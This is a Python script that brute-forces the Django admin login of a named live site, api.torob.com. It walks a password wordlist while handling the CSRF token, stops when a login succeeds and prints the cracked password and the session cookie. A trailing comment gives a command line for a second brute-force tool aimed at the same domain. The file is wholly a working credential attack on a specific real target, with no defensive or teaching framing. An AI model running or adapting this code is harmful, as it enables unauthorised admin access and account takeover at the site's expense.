import requests

from lxml import html

TARGET_URL = 'https://api.torob.com/torob-admin/login/'
USERNAME = ''
WORDLIST = '/root/Iranian-Password-list/nam2elist.txt'


def brute_force():
    print(f'Target: {TARGET_URL}')
    print(f'Trying passwords for {USERNAME}.')

    client = requests.session()
    page = client.get(TARGET_URL)

    tree = html.fromstring(page.content)
    csrf_middleware_token = tree.xpath('//input[@name="csrfmiddlewaretoken"]/@value')[0]


    csrf_token = client.cookies.get('csrftoken')
    cookies = {'csrftoken': csrf_token}


    headers = {'Referer': TARGET_URL}

    print('Reading file...')
    with open(WORDLIST, mode='r') as file:
        content = file.readlines()


    passwords = [p.strip() for p in content]

    print('Cracking', end='', flush=True)
    count = 0
    for password in passwords:
        count += 1
        print_count(count)
        body = {
            'username': USERNAME,
            'password': password,
            'csrfmiddlewaretoken': csrf_middleware_token
        }
        response = requests.post(
            TARGET_URL,
            cookies=cookies,
            headers=headers,
            data=body,
            allow_redirects=False
        )

        if response.status_code == 302:
            break

        if response.status_code == 200:
            continue

        break

    if response.status_code == 302:
        session_token = response.cookies.get('sessionid')
        print(f'\nSuccess. {count} passwords tried. Password: {password}. Session token: {session_token}.')
    elif response.status_code == 200:
        print(f'\nFailed. {count} passwords tried.')
    else:
        print(f'\nUnable to attempt login: received status code {response.status_code}.')


def print_count(counter, small_denom=10, big_denom=100):
    if (counter / small_denom).is_integer():
        print('.', end='', flush=True)
    if (counter / big_denom).is_integer():
        print(counter, end='', flush=True)


if __name__ == '__main__':
    brute_force()

#DjangoUnchained.py  -domain api.torob.com -scheme https -uri /torob-admin/login/ -userdict /root/DjangoUnchained/username.txt -passwdict /root/DjangoUnchained/password.txt -l  /root/file.log


